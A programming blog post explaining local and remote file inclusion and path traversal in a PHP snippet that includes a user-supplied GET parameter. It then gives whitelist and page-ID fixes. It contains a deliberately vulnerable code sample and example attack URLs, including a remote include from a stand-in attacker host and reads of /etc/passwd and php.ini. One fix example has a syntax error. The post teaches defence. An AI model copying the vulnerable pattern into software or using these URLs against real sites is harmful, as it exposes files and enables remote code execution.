This post reviews a couple of injection-style vulnerabilities in an innocent-looking little snippet. Though PHP is used in this example, the same vulnerabilities could exist in any web application, regardless of the language being used.
Following on from my last post where we looked at Newline Injection, today I wanted to review a couple of other injection-style vulnerabilities in what might be an innocent-looking little snippet. I’ll be using PHP in this example, but these same vulnerabilities could exist in any web application, regardless of the language being used. Imagine a blog, online store or other simple-ish application with urls looking something like:
- https://my-site.com/?page=home.php
- https://my-site.com/?page=about.php
- https://my-site.com/?page=post-2024-01-02-03.php
Internally, we could have an index.php file with something similar to:
<?php
$page = $_GET['page'];
include($page);
I imagine that most of you are gasping in horror at the blatantly obvious security hole here. Or if you’re starting out in your career, or haven’t specifically read up on injection vulnerabilities, the security hole may not be so obvious. I can certainly forgive you if that’s the case, and I’ll admit that I almost certainly would have written something like this in my younger years. For the more experienced reader though, I’ll ask a different question - how many security vulnerabilities can you spot here? Spoiler alert: There are 3 vulnerabilities in 2 lines of code.
Local File Injection
Since the vulnerable code is including any file specified in the GET
parameter, a malicious user could specify any local file on the server and have its contents executed by the PHP interpreter (or returned as output). For example, imagine an XML database sitting in the same directory as the index file. An attacker could gain access to said database just by loading https://my-site.com/?page=database.xml in their browser.
As for executing malicious code - chances are there isn’t any malicious code already on the remote server. But if the application included an upload file feature, a user could upload malicious-code.php and then execute it by navigating to https://my-site.com/?page=malicious-code.php.
Remote File Injection
Okay - let’s say that there isn’t an upload feature, and the attacker really wanted to run some malicious code on the server. Another thing they could try is to:
- Upload some malicious code to a server that they control
- Navigate to https://my-site.com/?page=http://attackers-site.com/malicious-code.php
When I tried this in a local XAMPP installation, I got:
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <path-to-ini-file>
So thankfully the default config prevents remote file execution by default, but that may not always be the case, and it’s probably a good idea to assume that the config has this enabled, and to protect against Remote File Injection in the application logic as well.
Path Traversal
There’s one last vulnerability here - Path Traversal. Imagine navigating to some urls like the following:
- https://my-site.com/?page=../../etc/php.ini - a relative path, to obtain the PHP configuration
- http://my-site.com/?page=/etc/passwd - an absolute path, to obtain information about user accounts on the server
This exploit basically allows the attacker to navigate to files outside of the web server’s directory (e.g.: htdocs) to either view or execute files that they normally should not be able to access.
Prevention?
There are a few ways to deal with all three of these vulnerabilities, but at their core, I think that all of them (along with almost all other injection attacks) can be prevented by following the maxim of never trust user input. That is, if we come back to our snippet:
<?php
$page = $_GET['page'];
include($page);
Since a GET
parameter, POST
parameter, route parameter, HTTP header, etc. can all be tampered with by the user, we should treat them as suspicious by default. Some options for workarounds might be:
- Store a whitelist of permitted files, and validate the user-submitted input (i.e., - the
GET
param) against the whitelist before including it. Example:
<?php
$page = $_GET['page];
if (!is_in_whitelist($page))
die('Wicked! Tricksy! False!');
include($page);
- Or even better, instead of accepting a filename in the
GET
param, accept a page ID, and look up the filename in a lookup table or database based on the provided page ID. Example:
<?php
$page_id = $_GET['page_id'];
$page = get_page_by_id($page_id);
if (!$page)
die('Wicked! Tricksy! False!');
include($page);
Useful Reading
- Testing for Local File Inclusion
- Testing for Remote File Inclusion
- Path Traversal
And that’s about it! Have I missed any vulnerabilities here, or do you have any other advice for prevention? Let me know in the comments.
Catch ya!